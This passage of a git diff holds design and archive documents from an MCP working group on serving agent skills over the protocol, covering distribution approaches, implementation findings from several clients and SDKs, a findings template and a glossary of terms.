**Community input:**
|
||||
|
||||
> "I wonder if a better way to approach this with existing primitives is by implementing a Skill() tool and establishing this as a standard recommendation for servers and clients, rather than adding a new primitive to MCP." — [Ola Hungerford](https://github.com/olaservo)
|
||||
|
||||
> "There should be intentional focus on making it easy for server authors to create and expose skills... client hosts are strongly incentivized to have a relatively uniform way to discover and consume them — at least from the point of view of a server author — while also leaving room for client host innovation.
|
||||
>
|
||||
> I also don't like creating dichotomy between first-class skills and skills as context, because pretty much everything an MCP server exposes is context. Skills-as-resources is much more accurate." — [Peder Holdgaard Pedersen](https://github.com/PederHP)
|
||||
|
||||
> "The only slight concern I have is the idea that there are still 'first class skills' (skills that agents recognize as skills, can be presented as skills through the user agent, can be bundled with subagents, etc) and these sort of 'skills as context' approaches where the agent can certainly discover and ingest the skills data, but possibly with some differences compared to how they would apply first class skills." — [Bob Dickinson](https://github.com/TeamSparkAI)
|
||||
|
||||
See also [notes from Feb 26th Office Hours](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2316)
|
||||
|
||||
This approach may also:
|
||||
|
||||
- Use resource templates for parameterized skill discovery
|
||||
- Use Prompts for explicit skill invocation
|
||||
- Use `tools/listChanged` and other notifications for dynamic updates without server re-initialization
|
||||
|
||||
### Distribution and Provenance Considerations
|
||||
|
||||
Several design considerations have been suggested in community discussion and proposals around how skills are distributed over MCP:
|
||||
|
||||
- **Ephemeral availability:** Skills should be available while a server is installed, without requiring a separate permanent install step. Clients could optionally offer to permanently install skills discovered from servers.
|
||||
- **Provenance metadata:** The server URL for remote servers should be bundled into skill frontmatter metadata, so skills carry their origin and source identity.
|
||||
- **SDK ergonomics:** It would be valuable at the SDK level to provide frontmatter and body content separately in code, rather than requiring authors to construct a single markdown blob.
|
||||
- **Trust model alignment:** Skill trust should align with existing MCP trust — based on server trust. The community consensus is to discourage using MCP as a mechanism for providing a skills marketplace for arbitrary third-party content.
|
||||
- **No OS-level packaging:** MCP servers should not provide platform-specific bundles (tar.gz, etc.); skills should remain text-based context. MCP has no notion of operating system or environment on the receiving side.
|
||||
- **Git-based distribution:** Versioned distribution via git (tags, pinned refs) can be viable without a formal registry. Clare Liguori (AWS) noted that Terraform operated without a formal registry for a long time — Feb 26 office hours.
|
||||
- **Domain-level discovery:** The [Agent Skills Discovery RFC](https://github.com/cloudflare/agent-skills-discovery-rfc) proposes `/.well-known/skills/` for organizations to publish skills at predictable URLs with content integrity (SHA-256 digests). This is complementary to MCP — it handles discovery and distribution while MCP handles runtime consumption.
|
||||
|
||||
**See also:** [#44](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/44) — Define well-known URI schemes and naming patterns for skill resources
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Installless/temporary/ephemeral skill availability while server is installed feels like a good pattern. Clients could optionally offer to permanently install." — [Sam Morrow](https://github.com/SamMorrowDrums) (GitHub), via Discord
|
||||
|
||||
> "We should probably stipulate that the server URL for remote servers also be bundled into frontmatter metadata, ideally given the way users may discover these autonomously, encoding source identity in a way that is collocated will be good when things go wrong." — [Sam Morrow](https://github.com/SamMorrowDrums) (GitHub), via Discord
|
||||
|
||||
> "We have no notion of operating system/environment and I don't think MCP servers providing tar.gz bundles of arbitrary content is a great idea… the trust model is same as MCP, based on server trust, so broadly I think we want to discourage using MCP as a mechanism for providing a skills marketplace for arbitrary 3rd party content." — [Sam Morrow](https://github.com/SamMorrowDrums) (GitHub), via Discord
|
||||
|
||||
### Variant: Skills via Sampling
|
||||
|
||||
Instead of exposing skill tools to the main agent, use MCP's Sampling with Tools capability ([SEP-1577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1577)). The server requests a sampling call with skill-specific tools (`read_skill_md`, `execute_script`, etc.) that are only visible during that sampling request. This keeps skill tools hidden from the main agent, addressing tool bloat. The server orchestrates skill execution; the main agent just sees the result.
|
||||
|
||||
**Caveat:** Sampling has limited client support currently.
|
||||
|
||||
**Source:** [jbnitorum](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076#issuecomment-3806151745)
|
||||
|
||||
**See also:** [#42](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/42) — Test skills-via-sampling approach
|
||||
|
||||
## 4. Gateway/Composition Pattern
|
||||
|
||||
A gateway-style server that provides a group of MCPs as one, ensuring they get requisite configuration and instructions to work in harmony.
|
||||
|
||||
This pattern could enable loading primitives (tools) without the full "server" boundary.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "MCP repos can also be used as libraries... a gateway in same language as bundle servers could also load primitives like tools, and not necessarily need or want the 'server' parts." [SamMorrowDrums](https://github.com/SamMorrowDrums)
|
||||
|
||||
## 5. Server Instructions Reference
|
||||
|
||||
Use server instructions as a pointer to a resource: "If you need to do X, fetch resource Y for further instructions." This defers loading skill content until needed, managing context more efficiently.
|
||||
|
||||
**Limitation:** May not work with off-the-shelf servers where you can't modify their instructions.
|
||||
|
||||
## 6. Official Convention as Intermediate Step
|
||||
|
||||
> **Status:** This approach was pursued and graduated into the draft [Skills Extension SEP](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/69) ([#75](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/75)). The SEP formalizes the convention as an Extensions Track specification using existing Resources primitives — zero protocol changes, backward compatible. Content format is delegated to [agentskills.io](https://agentskills.io/specification). The text below is preserved as historical context for how this approach was originally framed.
|
||||
|
||||
A documented "MCP Skills Convention" as a middle path between ad-hoc experiments and protocol extension. This could:
|
||||
|
||||
- Define well-known URI schemes or naming patterns (e.g., resources matching `**/SKILL.md`). See [Skill URI Scheme Proposal](skill-uri-scheme.md) for a detailed survey and recommendation.
|
||||
- Recommend metadata structure (version, tags, dependencies) aligned with agentskills.io
|
||||
- Provide guidance on control model: resources for application-controlled, `skill()` tool for model-controlled
|
||||
- Be documented in MCP docs as a "Pattern" — not in protocol schema, but officially recommended
|
||||
- Allow data gathering on adoption before considering protocol-level changes
|
||||
|
||||
This mirrors how other ecosystems (e.g., Kubernetes) graduate patterns: start as convention, prove value, then formalize.
|
||||
|
||||
**Advantages of the convention approach:**
|
||||
|
||||
- Since MCP supports dynamically updating tools, the latest skills manifest can be included in tool descriptions
|
||||
- Skills can also be modeled as Resources (using `skill://` URI) for application-controlled access
|
||||
- Prompts could support explicit skill invocation
|
||||
- The convention and protocol extension approaches are not mutually exclusive — convention can prove patterns before standardization
|
||||
235
docs/archive/experimental-findings.md
Normal file
235
docs/archive/experimental-findings.md
Normal file
|
|
@ -0,0 +1,235 @@
|
|||
# Experimental Findings
|
||||
|
||||
> ℹ️ **This document is not actively maintained.** It captures a snapshot of early findings. Current discussion and decisions are tracked in the [meeting notes discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg), [Discord #skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084), and on the [SEP-2640 PR](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640).
|
||||
|
||||
> **Contributing findings?** Start with the [experimental findings template](findings-template.md).
|
||||
|
||||
## VS Code: MCP-served skills as agent skills (Issue #66)
|
||||
|
||||
> Written against the pre-v1 draft (August 2026). The index format, `type: "skill-md"`, archive entries, and resource templates discussed below belong to that draft; v1 replaced the index with `skills/list`/`skills/get`, dropped archives and template entries (decision log, 2026-07-16), and makes digest verification a host MUST.
|
||||
|
||||
**Implementation:** [tobi-oye/vscode#1](https://github.com/tobi-oye/vscode/pull/1) — on a [microsoft/vscode](https://github.com/microsoft/vscode) fork (personal exploration, not submitted upstream)
|
||||
|
||||
Added `skill://` discovery to VS Code and verified it against the [Hugging Face MCP server](https://github.com/huggingface/hf-mcp-server) (`https://huggingface.co/mcp`). VS Code discovered 8 skills and offered them to the model with no manual attachment.
|
||||
|
||||
**Findings:**
|
||||
|
||||
- **VS Code already had the whole progressive-disclosure loop; it just had no MCP source.** `findAgentSkills()` → `name`/`description` into a `<skills>` block → a model-facing `skill` tool. Same shape as [skillsdotnet](https://github.com/PederHP/skillsdotnet)'s `SkillCatalog`. Only the MCP origin was missing.
|
||||
- **The loading half needed no code.** `mcp-resource://` is already registered with VS Code's `IFileService`, so mapping `skill://…/SKILL.md` onto it is enough — the existing skill tool reads it and each read becomes a `resources/read`. "Treat filesystem and MCP skills identically" falls out for free.
|
||||
- **The index wire format had already moved past the checked-in draft.** The live server serves `{url, digest, frontmatter:{name, description}}`; the draft here specifies top-level `name`/`description` and a required `type: "skill-md"`. A parser written to the draft matches **zero** entries on a real server. Accepting both shapes is three lines.
|
||||
- **Per-context-computation discovery is an accidental DoS.** `findAgentSkills()` runs on every context rebuild; discovery is two round trips per server. A naive version issued 20 index reads for one chat turn. Same shape as the incident behind hf-mcp-server's client denylist ([#164](https://github.com/huggingface/hf-mcp-server/pull/164), ~100k req/min). Cache the *promise*, keyed on connection state — not just server id, or a lookup made while a server was stopped pins an empty result.
|
||||
- **Cross-server name collisions are unspecified.** Skill names are a flat namespace. The SEP ties the final URI segment to the frontmatter `name` but says nothing about two servers both serving `deploy`. Local-over-MCP is defensible; MCP-vs-MCP degenerates to discovery order. **Worth an explicit note in the SEP.**
|
||||
- **Provenance reaches the UI but not the model.** The `<skills>` block emits only `<name>`, `<description>`, `<file>` — and `<file>` encodes an opaque server id. Loading is never ambiguous, but a model reasoning across servers has no legible origin signal.
|
||||
- **Archives cost 17 of 25 skills.** Archive-only entries have no `url` to a `SKILL.md`, so a resource-reading host skips them. Archives were removed from SEP-2640 (decision log, 2026-07-16); until servers follow, such hosts see a fraction of what is offered.
|
||||
- **Adding a skill source touched four type surfaces** that must agree (storage enum, a parallel source union, an ext-host DTO, a proposed API type). Missing two produced a runtime throw that broke chat while `tsc` stayed green.
|
||||
- **Identifying skills by URL alone was enough ([#54](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/54)).** `skill://` prefix plus `/SKILL.md` suffix, no `_meta` read — a two-line filter with nothing to negotiate. Because the last path segment must match the skill name, the name is readable off the URL, so a picker fills without fetching every `SKILL.md`. The tradeoff is that a URL carries no structured metadata; tags, versions or provenance would still need `_meta`.
|
||||
- **The index ships a `digest` that this client ignores.** The live server sends `sha256:` per entry; nothing here verifies it, so a corrupted or swapped skill loads silently. fast-agent does check it. Worth settling whether verification is the host's job — the draft currently leans on it being "the transport's concern over an authenticated MCP connection".
|
||||
|
||||
**Verification:** `tsc` clean; 10 unit tests (incl. `skill://` → `mcp-resource://` round trip and index parsing against verbatim live output); 112 existing promptSyntax tests pass; discovery confirmed against the live server.
|
||||
|
||||
**Note:** none of the three defects above were caught by type-checking or unit tests — all surfaced only from running against a real server.
|
||||
|
||||
**Open:**
|
||||
|
||||
- **Model invocation not demonstrated.** Discovery and contribution are confirmed; no run yet shows the model choosing to load an MCP-served skill. Confounded by source builds being unable to reach the Copilot service (OSS `product.json` ships no OAuth client config) and by a small auto-routed model. Consistent with the adherence problems recorded elsewhere on this page.
|
||||
- Resource templates parsed but not materialized (need the completion API).
|
||||
- No `resources/subscribe`, so mid-session skill updates are missed.
|
||||
|
||||
## McpGraph: Skills in MCP Server Repo
|
||||
|
||||
**Date:** Not documented
|
||||
|
||||
**Implementation:**
|
||||
|
||||
- **Repository:** [TeamSparkAI/mcpGraph](https://github.com/TeamSparkAI/mcpGraph)
|
||||
- **Author:** Bob Dickinson
|
||||
- **Relevant artifacts:** [mcpgraphtoolkit/SKILL.md](https://github.com/TeamSparkAI/mcpGraph/blob/main/skills/mcpgraphtoolkit/SKILL.md) (875+ lines)
|
||||
|
||||
**Approach tested:** Related to [Approach 5: Server Instructions Reference](approaches.md#5-server-instructions-reference). The standalone skill lives beside the MCP server but is not formally connected to it.
|
||||
|
||||
**Setup:**
|
||||
|
||||
- **Clients tested:** Claude; specific client not documented
|
||||
- **Models tested:** Not documented
|
||||
- **Configuration notes:** The skill teaches agents to build directed graphs of MCP nodes and orchestrate tool calls
|
||||
|
||||
**What was tested:** Whether an agent discovers and follows a colocated skill before attempting to use the server tools.
|
||||
|
||||
**Results:**
|
||||
|
||||
- **What worked:** Adding a server instruction that told the agent to read the skill before using the tool caused Claude to load it reliably
|
||||
- **What didn't:** Claude initially ignored the skill even when the skill and server had similar descriptions, and only read it after failing to use the server tools
|
||||
- **What was surprising:** A single server instruction changed the loading order reliably
|
||||
|
||||
**Requirements or design questions addressed:** Reliable skill discovery and loading, and whether server instructions can connect an MCP server to colocated skill guidance.
|
||||
|
||||
**Evidence and reproduction:** These are community-reported observations; the client version, model version, and runnable reproduction are not documented.
|
||||
|
||||
**Limitations:**
|
||||
|
||||
- This workaround works for 1:1 skill-to-server case, but doesn't solve discovery — users installing from a registry don't know to also install the skill
|
||||
- Distinguishes between "skill required to make the server work at all" vs. "skill that orchestrates tools you could use without it" — potentially different solutions needed
|
||||
|
||||
## Skilljack MCP
|
||||
|
||||
**Repo:** [olaservo/skilljack-mcp](https://github.com/olaservo/skilljack-mcp)
|
||||
|
||||
Loads skills into tool descriptions. Uses dynamic tool updates to keep the skills manifest current.
|
||||
|
||||
Example eval approach and observations here: https://github.com/olaservo/skilljack-mcp/blob/main/evals/README.md
|
||||
|
||||
## FastMCP 3.0 Skills Support
|
||||
|
||||
**URL:** [gofastmcp.com/servers/providers/skills](https://gofastmcp.com/servers/providers/skills)
|
||||
|
||||
FastMCP added skills support in version 3.0. Worth examining for alignment with other approaches.
|
||||
|
||||
**Update model comparison (Feb 26 office hours):**
|
||||
|
||||
- FastMCP supports more of a "pull" model for updating resources that have changed
|
||||
- The skills-as-resources implementation in this repo ([PR #16](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/16)) watches for changes and allows clients to subscribe to resources via `resources/subscribe` and `resources/updated` notifications — more of a "push" model
|
||||
- Both models are worth evaluating; the right choice is likely use-case specific
|
||||
|
||||
**Related:** [jlowin/fastmcp#2694](https://github.com/jlowin/fastmcp/issues/2694)
|
||||
|
||||
## PydanticAI Skills Support
|
||||
|
||||
**PR:** [pydantic/pydantic-ai#3780](https://github.com/pydantic/pydantic-ai/pull/3780)
|
||||
|
||||
Introduces support for agent skills with a tools-based approach.
|
||||
|
||||
## NimbleBrain: skill:// Resource Consolidation
|
||||
|
||||
**Date:** Not documented
|
||||
|
||||
**Implementation:**
|
||||
|
||||
- **Repositories:** [mcp-ipinfo](https://github.com/NimbleBrainInc/mcp-ipinfo), [mcp-webfetch](https://github.com/NimbleBrainInc/mcp-webfetch), [mcp-pdfco](https://github.com/NimbleBrainInc/mcp-pdfco), [mcp-folk](https://github.com/NimbleBrainInc/mcp-folk), and [mcp-brave-search](https://github.com/NimbleBrainInc/mcp-brave-search)
|
||||
- **Author:** [Mat Goldsborough](https://github.com/mgoldsborough) (NimbleBrain)
|
||||
- **Relevant artifacts:** Atomic MCP server repositories with skills exposed as `skill://` resources
|
||||
|
||||
**Approach tested:** [Approach 3: Skills as Tools and/or Resources](approaches.md#3-skills-as-tools-andor-resources).
|
||||
|
||||
**Setup:**
|
||||
|
||||
- **Clients tested:** Not documented
|
||||
- **Models tested:** Not documented
|
||||
- **Configuration notes:** Previously separate MCP server code, skills, and `server.json` registry metadata were consolidated into one repository per server
|
||||
|
||||
**What was tested:** Whether colocating skills with their MCP servers and exposing them as resources simplifies distribution while preserving or improving agent results.
|
||||
|
||||
**Results:**
|
||||
|
||||
- **What worked:** Consolidating the artifacts simplified build, versioning, and deployment; skills ship atomically with the tools they describe
|
||||
- **What worked:** `skill://` resources provided ephemeral availability without git cloning or client-side file-system access
|
||||
- **What worked:** Quick tests produced the same or better results than injecting skills before the LLM call
|
||||
- **What didn't:** Not documented
|
||||
- **What was surprising:** Not documented
|
||||
|
||||
**Requirements or design questions addressed:** Installless skill availability, provenance through colocation, atomic versioning, and reuse of existing MCP resource primitives.
|
||||
|
||||
**Evidence and reproduction:** The linked repositories are reference implementations. The comparison with upstream skill injection was reported through community discussion; a test procedure and quantitative results are not documented.
|
||||
|
||||
**Limitations:** Client versions, model versions, test cases, and evaluation criteria are not documented, so the result cannot yet be reproduced precisely.
|
||||
|
||||
**Sources and attribution:**
|
||||
|
||||
> "Skills living as skill:// resources on the server itself was the natural endpoint of that consolidation. The skill context is colocated with the tools it describes, versioned together, shipped together." — [Mat Goldsborough](https://github.com/mgoldsborough) (NimbleBrain), via Discord
|
||||
|
||||
## Skill Reliability and Adherence
|
||||
|
||||
Multiple community members have independently reported that models do not reliably load or follow skill instructions, even when skills are preloaded in context. This is a cross-cutting behavioral problem, not specific to any single implementation approach.
|
||||
|
||||
**Findings:**
|
||||
|
||||
- Models appear to frequently ignore available skills, requiring hooks or repeated prompting to trigger skill loading
|
||||
- Skill adherence appears to be "time-decaying" similar to other model instructions — models follow instructions initially but lose adherence as the context window grows and compaction occurs
|
||||
- Behavior is model-specific: weaker models show lower success rates with lazy-loaded skills
|
||||
- One effective workaround observed by Kryspin: wrapping skills in a subagent whose name or description mentions the skill topic
|
||||
- Community desire for "skill autoloads" and "dynamic memory autoloads" as design patterns
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Even Opus 4.6 needs to be constantly bugged to load skills when they're preloaded in the context already. I actually have a hook that reminds it to load skills and it still just doesn't a lot of the time." — Luca (AWS), via Discord
|
||||
|
||||
> "I also have this problem with skills: they're useful… when used. Which isn't nearly often enough." — Jeremiah (FastMCP), via Discord
|
||||
|
||||
> "Skills are ephemeral and/or time decaying — it clicks once and then give it some time and they lose the plot." — Kryspin (qcompute), via Discord
|
||||
|
||||
> "I've seen lazy load skills with various degrees of success, actually looks like it might be model specific… [best pattern is] putting them in with a subagent that similarly named or mentions the topic in their description." — Kryspin (qcompute), via Discord
|
||||
|
||||
**See also:** [#37](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/37) — Compare skill delivery mechanisms: file-based vs MCP-based
|
||||
|
||||
## PHP MCP SDK + Symfony AI Mate: Skills as `skill://` resources
|
||||
|
||||
> Written against the pre-v1 draft (June 2026). References to `skill://index.json`, `resource_templates/list`, and `mcp-resource-template` entries describe that draft; v1 replaced the index with `skills/list`/`skills/get` and dropped template entries (decision log, 2026-07-16).
|
||||
|
||||
**Server / SDK:** [modelcontextprotocol/php-sdk#372](https://github.com/modelcontextprotocol/php-sdk/pull/372) — adds `io.modelcontextprotocol/skills` support to the official PHP MCP SDK
|
||||
**Consumer:** [symfony/ai#2132](https://github.com/symfony/ai/pull/2132) — ships Agent Skills in the Symfony AI "Mate" MCP server
|
||||
**Contributor:** Johannes Wachter ([@wachterjohannes](https://github.com/wachterjohannes))
|
||||
|
||||
First PHP-ecosystem implementation of SEP-2640 (prior documented implementations are
|
||||
Python/TS). The SDK PR adds a one-line server affordance — `addSkillsFromDirectory()` —
|
||||
that walks a directory, registers each `SKILL.md` and its supporting files as `skill://`
|
||||
resources, derives `name`/`description` from YAML frontmatter, enforces the spec's
|
||||
final-path-segment ↔ frontmatter-`name` rule, guards against path traversal, and serves
|
||||
a `skill://index.json` discovery index. The Mate PR ships two real skills colocated with
|
||||
the tools they orchestrate, including a multi-file skill with a `references/` subdirectory.
|
||||
|
||||
**Tested (works):**
|
||||
|
||||
- Serving is covered by MCP Inspector **stdio snapshot tests**: `resources/list`,
|
||||
`resources/read` of a `SKILL.md`, of a supporting file, and of `skill://index.json`,
|
||||
plus `resource_templates/list`. Unit tests cover frontmatter parsing (BOM/CRLF,
|
||||
non-mapping rejection), the name↔segment rule, and resource-name sanitization. PHPStan
|
||||
level 6 and the full suite (792 tests) green.
|
||||
- The **directory model + relative supporting-file URIs** resolve correctly in a
|
||||
non-Python implementation — e.g. `skill://code-review/references/SECURITY.md` is a
|
||||
sibling resource of `skill://code-review/SKILL.md`. Positive evidence the directory
|
||||
model travels across ecosystems.
|
||||
|
||||
**`_meta` prefix — independent convergence (not a gap).** Our SDK independently chose
|
||||
`io.modelcontextprotocol.skills/` to namespace extra frontmatter fields on the resource
|
||||
descriptor — which matches the prefix SEP-2640 recommends ("When `_meta` keys are used for
|
||||
skill resources, implementations SHOULD use the `io.modelcontextprotocol.skills/`
|
||||
reverse-domain prefix"). Useful corroboration of the recommended prefix. Note: the
|
||||
working-group repo-local draft ([`docs/sep-draft-skills-extension.md`](sep-draft-skills-extension.md))
|
||||
does not yet include that sentence — its `_meta` paragraph ends at "…via the resource's
|
||||
`_meta` object." — so the SEP PR and this repo's copy have drifted and could be synced.
|
||||
(Discussed on [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640#issuecomment-4622668503).)
|
||||
|
||||
**SDK implementation notes (not spec gaps):**
|
||||
|
||||
- **Resource-name uniqueness, not charset.** The skill `name` charset (`[a-z0-9-]`, ≤64, no
|
||||
leading/trailing hyphen) is a strict subset of the MCP resource-name charset, so the
|
||||
SKILL.md resource `name` can carry the frontmatter `name` directly — "resource `name`
|
||||
SHOULD equal frontmatter `name`" is satisfiable. The wrinkle is uniqueness: our SDK
|
||||
registers every resource under a unique name key, including a skill's **supporting files**
|
||||
(`references/SECURITY.md`) and skills that **share a frontmatter `name` under different
|
||||
prefixes** (`acme/billing/refunds` vs `acme/support/refunds`). So we derive a unique name
|
||||
from the URI path and keep the frontmatter `name` in `title`. Identity is the URI
|
||||
regardless — an SDK registration detail, not a SEP issue.
|
||||
- **Empty-payload capability serialization trap.** An extension advertising an empty `{}`
|
||||
payload (as Skills does) serialized to `[]` rather than `{}` and had to be coerced. A
|
||||
likely footgun for any SDK implementing an empty-payload extension.
|
||||
- **`symfony/yaml` required** for frontmatter parsing — the feature is non-functional
|
||||
without a YAML parser; frontmatter handling is a real dependency, not free.
|
||||
|
||||
**Client consumption (observed from docs, not yet eval'd):**
|
||||
|
||||
- Per current **Claude Code** documentation (June 2026), Claude Code loads skills from the
|
||||
filesystem and plugins only; it does not discover or load MCP-served `skill://` resources
|
||||
as skills, and its MCP resource support is **user-`@`-mention attachments, not
|
||||
model-driven `resources/read`**. So end-to-end, model-driven consumption of MCP-served
|
||||
skills is not exercisable in Claude Code today — a data point for
|
||||
[#38](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/38).
|
||||
- **FastMCP 3.0** (per this repo's existing findings) is the consumer best positioned to
|
||||
validate the serving half against; not yet done.
|
||||
|
||||
**Remaining / untested:**
|
||||
|
||||
- No model-adherence eval yet comparing filesystem vs. `skill://` delivery.
|
||||
- `mcp-resource-template` skill type (parameterized namespaces) is deferred in the SDK PR —
|
||||
the `SkillType` enum carries the value for forward-compat, but only `skill-md` entries are
|
||||
emitted; the template path is unimplemented and untested.
|
||||
- Not yet tested against any client that implements model-driven `skill://` loading.
|
||||
41
docs/archive/findings-template.md
Normal file
41
docs/archive/findings-template.md
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
# Experimental Findings Template
|
||||
|
||||
Use this template when adding an entry to [experimental-findings.md](experimental-findings.md). Include enough evidence for another contributor to evaluate the result, and write "Not documented" rather than inferring missing details.
|
||||
|
||||
---
|
||||
|
||||
## [Implementation or experiment name]
|
||||
|
||||
**Date:** YYYY-MM-DD or Not documented
|
||||
|
||||
**Implementation:**
|
||||
|
||||
- **Repository:** [name](URL)
|
||||
- **Author:** Name or handle
|
||||
- **Relevant artifacts:** Links to skill files, server/client code, commits, or pull requests
|
||||
|
||||
**Approach tested:** Link to the relevant section of [approaches.md](approaches.md), or describe the approach if it is not listed.
|
||||
|
||||
**Setup:**
|
||||
|
||||
- **Clients tested:** Names and versions
|
||||
- **Models tested:** Names and versions
|
||||
- **Configuration notes:** Relevant server, runtime, dependency, and operating-system details
|
||||
|
||||
**What was tested:** Describe the scenarios or behaviors evaluated.
|
||||
|
||||
**Results:**
|
||||
|
||||
- **What worked:** Observed successes
|
||||
- **What didn't:** Observed failures
|
||||
- **What was surprising:** Unexpected behavior
|
||||
|
||||
**Requirements or design questions addressed:** Link the finding to the current [problem statement](problem-statement.md), [use cases](use-cases.md), or [approaches](approaches.md).
|
||||
|
||||
**Evidence and reproduction:** Provide commands, configuration, logs, measurements, or links that let another contributor inspect or repeat the experiment.
|
||||
|
||||
**Limitations:** State what remains untested, uncertain, or specific to the recorded environment.
|
||||
|
||||
**Sources and attribution:** Link community input and identify contributors by name and handle where possible.
|
||||
|
||||
---
|
||||
50
docs/archive/glossary.md
Normal file
50
docs/archive/glossary.md
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
# Glossary
|
||||
|
||||
This glossary defines working terminology for the Skills Over MCP documents. It is descriptive rather than normative: the [MCP specification](https://modelcontextprotocol.io/specification/2025-11-25/server/resources) and the [Agent Skills specification](https://agentskills.io/specification) remain the source of truth for their respective formats and protocol surfaces. Definitions are intentionally short (1–3 sentences) and note alignment or divergence with Agent Skills where relevant.
|
||||
|
||||
## Core terms
|
||||
|
||||
| Term | Working definition |
|
||||
| :--- | :--- |
|
||||
| Skill | Structured workflow context that teaches an agent how to perform a task, usually by coordinating tools, prompts, resources, or domain knowledge. This working group uses the Agent Skills directory model as the payload format — a directory with a required `SKILL.md` file and optional supporting files — and adds discovery, transport, URI, and host-loading conventions over MCP rather than redefining the skill format. |
|
||||
| Instruction | In MCP, server instructions are initialization-time guidance a server returns before any individual tool or resource is used. Skill instructions are the workflow content inside `SKILL.md` and its supporting files, usually loaded only when a specific skill is relevant. The two are not interchangeable: they differ in scope, loading lifecycle, and size constraints. |
|
||||
| Primitive | An MCP protocol primitive is a named capability surface with defined messages, capabilities, and client behavior, such as Tools, Resources, or Prompts. In this repository, "primitive" should not be used loosely for any convenient implementation object; when skills reuse existing Resources, "skill" is not a new MCP primitive. |
|
||||
| Resource | MCP's URI-addressed mechanism for servers to expose data or content that clients can incorporate as context. Skills Over MCP currently uses Resources as the transport fit because skills are file-like context that can be listed, read, and progressively loaded. |
|
||||
| Convention | A documented, interoperable pattern that implementations can adopt without changing the MCP base protocol. SEP-2640 is largely a convention — skill files served as Resources, conventionally under `skill://` — plus a small extension surface (`skills/list`, `skills/get`, optional `resources/directory/read`) declared under the `io.modelcontextprotocol/skills` extension identifier. |
|
||||
| Context | Information made available to a model or host so it can decide what to do next, especially workflow know-how exposed as resources. This is narrower than the general "LLM context window": context-as-resources focuses on addressable, selectively loadable material before it becomes model tokens, though that material eventually consumes the window. |
|
||||
| Progressive disclosure | Staged loading of skill material: lightweight discovery metadata first, the full `SKILL.md` when relevant, and supporting files only when the workflow calls for them. This aligns with the Agent Skills model and maps naturally to MCP Resources, since each layer can be read on demand. |
|
||||
| Control model | Describes who decides that content is visible or loaded — the host application, the user, the model, or some combination. MCP Resources are application-driven by default while tools are model-invoked once exposed; Skills Over MCP sits at this boundary, so designs need to state whether a skill is surfaced by the host, fetched through a model-readable resource tool, or both. |
|
||||
| First-class primitive | A dedicated MCP protocol surface with its own capability, methods, and change notifications, on par with Tools, Resources, and Prompts — for skills, something like `skills/activate` plus `notifications/skills/list_changed` (see [approaches.md](approaches.md) and the closed SEP-2076). The Working Group declined this: in SEP-2640 a skill's content is ordinary Resources, and `skills/list`/`skills/get` are extension methods that return metadata and digests about those resources rather than a new content-delivery primitive. |
|
||||
| Server author | The person or organization that ships and maintains an MCP server and controls the tools, resources, auth, update cadence, and transport behavior it exposes. A server author may also author skills, but in multi-server or ecosystem scenarios they often provide only one part of the system. |
|
||||
| Skill author | The person or organization that writes a skill's `SKILL.md`, examples, references, and declared assumptions. This may be the server author, a platform team, or a third party documenting how to use an existing server; the distinction matters when a skill orchestrates tools from several servers or when registry metadata suggests companion skills. |
|
||||
| Discovery | Learning that a skill exists and obtaining enough metadata to decide whether it may be relevant. Fetching or reading `SKILL.md` is a separate content-loading step; conflating the two can hide important control, privacy, and performance choices, and matters most for large catalogs or servers with incomplete enumeration. |
|
||||
|
||||
## Distribution and ecosystem terms
|
||||
|
||||
| Term | Working definition |
|
||||
| :--- | :--- |
|
||||
| Skill resource | A skill file exposed through MCP's Resources primitive, such as `skill://git-workflow/SKILL.md` or a supporting reference file under the same skill path. The resource URI is the transport locator; the skill's semantic metadata still lives in `SKILL.md` frontmatter as defined by the Agent Skills specification. Relative references inside a skill resolve against the skill's root directory, as on a filesystem. |
|
||||
| `skill://` URI | The URI scheme servers SHOULD use for skill resources, of the form `skill://<skill-path>/<file-path>` where the last segment of `<skill-path>` equals the skill's frontmatter `name`. No scheme is privileged: a server may serve skills under a domain-native scheme, and a host MUST NOT conclude a resource is a skill from its scheme alone — skill identity comes from a `skills/list` entry or a `skills/get` answer. See [skill-uri-scheme.md](skill-uri-scheme.md) for the history. |
|
||||
| Skill metadata | Structured fields that describe a skill, carried in its `SKILL.md` YAML frontmatter (`name` and `description` are required; `license`, `metadata`, and future Agent Skills fields pass through). A skill entry returned by `skills/list` or `skills/get` copies this frontmatter verbatim so a host can build its skill registry without reading each `SKILL.md`. MCP reserves two distinct extension points: keys under `io.modelcontextprotocol/` inside the frontmatter `metadata` object (skill-level metadata defined by MCP extensions), and the `io.modelcontextprotocol.skills/` prefix on a resource's `_meta` (transport-specific metadata). Skill-level semantics stay in frontmatter rather than `_meta`. |
|
||||
| Compatibility | A free-text `compatibility` field in `SKILL.md` frontmatter describing the environment a skill expects. By design it is evaluated by a model against its runtime rather than checked deterministically, so it is not a machine-readable capability gate. Hosts that must screen skills — e.g. a non-sandbox agent filtering out skills that require code execution — apply their own conventions today (such as treating a `scripts/` directory as execution-requiring); the Working Group's position is that execution/environment signaling belongs in the Agent Skills specification, since it applies to skills from any source, not only MCP. |
|
||||
| Skill entry | The record `skills/list` and `skills/get` return for one skill: the `SKILL.md` `uri`, the verbatim `frontmatter`, and a `resources` array listing every file in the skill with its `digest`. `resources` is complete — an unlisted file is a change to the skill — and MAY be omitted only for dynamically generated skills, which hosts MAY decline to load. |
|
||||
